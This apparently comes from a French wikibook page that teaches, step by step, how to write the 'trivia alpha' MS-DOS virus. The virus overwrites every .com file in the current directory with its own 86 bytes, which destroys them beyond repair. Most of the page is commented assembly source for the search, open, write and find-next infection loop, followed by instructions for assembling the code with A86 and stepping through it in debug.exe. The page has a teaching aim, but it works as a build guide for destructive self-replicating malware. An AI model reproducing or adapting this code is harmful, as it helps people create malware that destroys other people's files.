Virus informatique/trivia α
Le virus trivia en version alpha est le plus simple des virus car il n'infecte que les fichiers exécutables .com du répertoire courant.
Organigramme avec assembleur Intel en regard
[modifier | modifier le wikicode]Code source commenté, pas à pas
[modifier | modifier le wikicode]La recherche de fichier est un service fournit pas MS-DOS : le service numéro 4Eh (h indique qu'il s'agit d'hexadécimal) de l'interruption 21h permet de rechercher n'importe quel fichier en spécifiant la bonne chaîne ASCIIZ (chaîne de caractère finie par un zéro)
Il faut d'abord déclarer la chaîne. En assembleur :
FichierCOM db '*.com',0
FichierCOM est le nom que l'on donne à notre variable. DB (Dump Byte) c'est pour affecter la chaîne au nom. '*.com',0 est la chaîne ASCIIZ.
Il ne reste plus qu'à utiliser le service 4Eh:
MOV AH,4Eh
On met le numero de service dans le registre AH, ici 4Eh.
MOV DX,OFFSET FichierCOM
DX reçoit l'adresse de la chaîne ASCIIZ
INT 21h
On exécute la recherche avec l'interruption 21h. Si il n'y a pas de fichier, MS-DOS nous avertit en mettant à 1 un bit (le flag de retenue) d'un registre appelé registre d'état.
On peut le tester avec cette instruction :
JC exit
Jump if Carry, c.a.d saut à "exit" si le flag de retenue est à 1.
Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9E. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus, c'est le rôle du service 3Dh:
MOV AH, 3Dh
Service 3Dh : ouvrir un fichier
MOV AL, 1
En écriture, on écrase tout. Le fichier infecté sera irrécupérable, pas de désinfection possible.
MOV DX, NomFich
Dans DX l'adresse du nom du fichier.
INT 21h
MS-DOS l'ouvre.
On a juste ouvert le fichier pour pouvoir récupérer son descripteur (handle en anglais). C'est un numéro attribué au fichier qui sert à MS-DOS pour le reconnaître.
Après l'interruption 21h, le descripteur est dans le registre 16 bits AX. Maintenant qu'on a son descripteur on va écraser son code en écrivant notre virus par dessus. Mais faut-il encore connaître la taille exacte du virus. Facile : il suffit d'assembler et de voir la taille du com. Il faut surtout le placer au bon endroit. Car le code d'un fichier COM commence 256 (100h) octets après le début du fichier, il faut donc écrire qu'a partir de 100h.
C'est le rôle du service 40h:
MOV AH, 40h
On va écrire dans le fichier
MOV CL, 86
Taille du virus : 86 octets (à savoir)
MOV DX, 100h
Le bon offset.
INT 21h
MS-DOS écrit le virus. (Vérifiable en contrôlant la DEL du disque dur)
Le virus est libéré sauf si le disque est plein (moins de 86 octets libre) ou s'il est protégé en écriture.
Le virus s'est dupliqué il peut effectuer une action comme afficher un message.
Il doit maintenant infecter d'autres fichiers .com. Faut-il réutiliser le service 4E ? Non, car ce service recherche le premier fichier du répertoire courant, l'infection se fera toujours sur le même fichier, il nous faut donc rechercher d'autres fichiers com.
C'est le rôle du service 4Fh. Remarque: 4F est égal à 4E + 1 (en hexadécimal).
MOV AH, 4Fh
Deuxième recherche :
INT 21h
Si il n'y a pas de fichier, DOS nous avertit en mettant … 1 un bit (le flag de retenue) d'un registre appel‚ registre d'état. On le teste avec :
JNC Infection
Jump if Not Carry, c.a.d saut à "Infection" si le flag de retenue est à 0. Si il y a un fichier, on trouve son nom inscrit alors à l'adresse 9Eh. Y a plus qu'a récupérer son nom pour l'ouvrir et y écrire le code du virus.
Assemblage et environnement de test
[modifier | modifier le wikicode]Utilisez votre assembleur préféré, comme par exemple A86 d’Eric Isaacson :
I:\A86>a86 trivia.asm trivia-a.com A86 macro assembler, V4.05 Copyright 2000 Eric Isaacson Source: trivia.asm Object: trivia-a.com Symbols: trivia-a.SYM I:\A86>^C
Créez ensuite un dossier dédié à vos essais où vous placerez le fichier trivia.com ainsi que des copies de fichiers .com se trouvant dans C:\windows\system32
I:\>md virus I:\>cd virus I:\VIRUS>_
Exécution pas à pas au débuggeur
[modifier | modifier le wikicode]« Debug.exe » est fournit avec toutes les versions de Windows et est accessible depuis n’importe quel dossier.
I:\Virus>debug trivia-a.com
Tapez ? pour une aide, U pour désassembler, D pour afficher la plage mémoire, P pour l’exécution pas-à-pas, Q pour sortir du débuggeur.